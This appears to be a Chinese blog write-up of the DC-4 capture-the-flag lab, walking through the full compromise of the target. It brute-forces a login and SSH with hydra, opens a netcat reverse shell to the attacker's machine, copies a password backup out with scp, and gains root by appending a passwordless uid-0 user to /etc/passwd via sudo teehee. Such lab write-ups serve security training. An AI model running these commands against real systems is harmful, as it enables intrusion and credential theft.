DC-4

先扫一下ip

再扫一下端口

发现开放了80和22端口
访问80看一下

发现是一个登录界面
扫一下目录

换成nikto看看

发现无果尝试暴力破解
用kali自带的字典去爆破
cd /usr/share/wordlists
gzip -d rockyou.txt.gz

用九头蛇来爆破
hydra 192.168.59.141 -l admin -P rockyou.txt http-post-form "/login.php:username=^USER^&password=^PASS^:S=logout" -F
-l = 指定单个固定用户名这里固定破解用户名为:admin(区分:-L 是加载用户名字典)
-P rockyou.txt
-P = 指定密码字典文件rockyou.txt 是 Kali 自带的全球最大弱口令字典(几百万条常用密码)(区分:-p 是指定单个固定密码)
http-post-form
指定破解协议:HTTP POST 表单登录(网页登录框 99% 都是这个类型)
核心三段式参数(最重要!用 : 分隔 3 部分)
/login.php:username=^USER^&password=^PASS^:S=logout
- 第一部分
**/login.php**登录表单的提交地址 - **第二部分 **
**username=^USER^&password=^PASS^**POST 请求提交的参数^USER^= 自动替换为你指定的admin^PASS^= 自动替换字典里的每一条密码
- 第三部分
**S=logout**登录成功的判断标志S=Success:只要页面出现logout(退出登录)文字,就代表密码正确
-F
找到第一个正确密码就立刻停止爆破,不浪费时间跑完整个字典

发现他的密码是happy账户是admin
登录一下

成功进入

发现这个好像是有命令执行功能的页面
抓包看一下

果然
发现radio是ls -l的命令
发到重发器上尝试输入别的命令
查看一下passwd

发现果然是可以执行系统命令的地方
尝试使用反弹shell连接
nc 192.168.59.135 4444 -e /bin/bash
kali开启监听


召唤bash
python -c "import pty;pty.spawn('/bin/bash')"
成功反弹shell
查看一下当前目录

发现没啥东西
到家目录看一下


查看一下三个用户
发现只有jim里面有东西
查看一下backup备份的东西

发现有一个密码文件
用scp把这个备份文件传到自己kali家目录上
scp /home/jim/backups/old-passwords.bak root@192.168.59.135:~


成功传过来了
查看一下

发现有许多密码我们使用九头蛇尝试爆破一下jim
hydra -l jim -P old-passwords.bak -t 4 192.168.59.141 ssh

成功爆出jim的密码
切换成jim登录一下

成功登录
先看看有没有sudo权限

发现没有
去到jim的家目录
查看一下mbox发现是一个文件
打开看看

发现是一封邮件
翻译:
来自 root@dc-4 2019年4月6日 周六 20:20:04
返回路径:<root@dc-4>
收件人:jim@dc-4
投递时间:2019年4月6日 周六 20:20:04 +1000
由 root 通过本机(Exim 4.89)在 dc-4 上发送
邮件ID:1hCiQe-0000gc-EC
收件人:jim@dc-4
主题:测试
MIME版本:1.0
内容类型:纯文本;编码 UTF-8
内容传输编码:8位
消息ID:<E1hCiQe-0000gc-EC@dc-4>
发件人:root <root@dc-4>
日期:2019年4月6日 周六 20:20:04 +1000
状态:已读
这是一条测试消息。
看一下test.sh

翻译:
#!/bin/bash
# 循环执行 5 次
for i in {1..5}
do
# 休眠 1 秒
sleep 1
# 输出:他们说,学学 bash 吧。
echo "Learn bash they said."
# 休眠 1 秒
sleep 1
# 输出:他们说,bash 很好用。
echo "Bash is good they said."
done
# 循环结束后输出:可我宁愿一头撞在砖墙上算了。
echo "But I'd rather bash my head against a brick wall."
嗯没啥用
我们去看看测试邮件是啥内容吧

可以发现ls返回的是原路径说明jim就是一个文件
查看一下

翻译:
来自 charles@dc-4 2019年4月6日 周六 21:15:46
返回路径: <charles@dc-4>
收件人: jim@dc-4
投递时间: 2019年4月6日 周六 21:15:46 +1000
由 charles 通过本机(Exim 4.89)在 dc-4 上发送
邮件ID: 1hCjIX-0000kO-Qt
收件人: jim@dc-4
主题: 假期
MIME版本: 1.0
内容类型: 纯文本; 编码 UTF-8
内容传输编码: 8位
消息ID: <E1hCjIX-0000kO-Qt@dc-4>
发件人: Charles <charles@dc-4>
日期: 2019年4月6日 周六 21:15:45 +1000
状态: 未读
嗨,吉姆:
我今天下班就要去休假了,老板让我把我的密码给你,以防万一出什么问题。
密码是:^xHhA&hvim0y
回见,
查尔斯
可以发现给出了charles用户的明文密码
登录一下

登录成功
去家目录里面看看

发现啥也没有
看看是不是能提权

发现有一个命令teehee能用
查一下怎么提权
teehee命令:teehee命令可以往一个文件中追加内容,可以通过这个命令向/etc/passwd中追加一个超级用户。
teehee参数-a:追加到指定文件,不覆盖原文件。
/etc/passwd文件的结构:用户名:是否有密码保护(x即有保护):uid:gid:描述性信息:home目录:默认shell
uid=gid=0为超级用户,默认shell一般为/bin/bash。
提权命令命令:echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd
作用:添加一个用户名为hacker,没有密码的超级用户。
思路:通过teehee命令追加一个超级用户,再切换到这个超级用户登录。
所以我们使用这个命令来提权
echo "hacker::0:0:::/bin/bash" | sudo teehee -a /etc/passwd

成功写入
切换一下用户

发现成功变成root
去root家目录里面看看

成功获得flag!!!
翻译:
888 888 888 888 8888888b. 888 888 888 888
888 o 888 888 888 888 "Y88b 888 888 888 888
888 d8b 888 888 888 888 888 888 888 888 888
888 d888b 888 .d88b. 888 888 888 888 .d88b. 88888b. .d88b. 888 888 888 888
888d88888b888 d8P Y8b 888 888 888 888 d88""88b 888 "88b d8P Y8b 888 888 888 888
88888P Y88888 88888888 888 888 888 888 888 888 888 888 88888888 Y8P Y8P Y8P Y8P
8888P Y8888 Y8b. 888 888 888 .d88P Y88..88P 888 888 Y8b. " " " "
888P Y888 "Y8888 888 888 8888888P" "Y88P" 888 888 "Y8888 888 888 888 888
恭喜你通关成功!!!
希望你喜欢 DC-4 这个靶场。在此向所有提供反馈、花时间完成这些小挑战的朋友们,表示由衷的感谢。
如果你喜欢这次 CTF 体验,可以通过 Twitter @DCAU7 给我发推交流。

浙公网安备 33010602011771号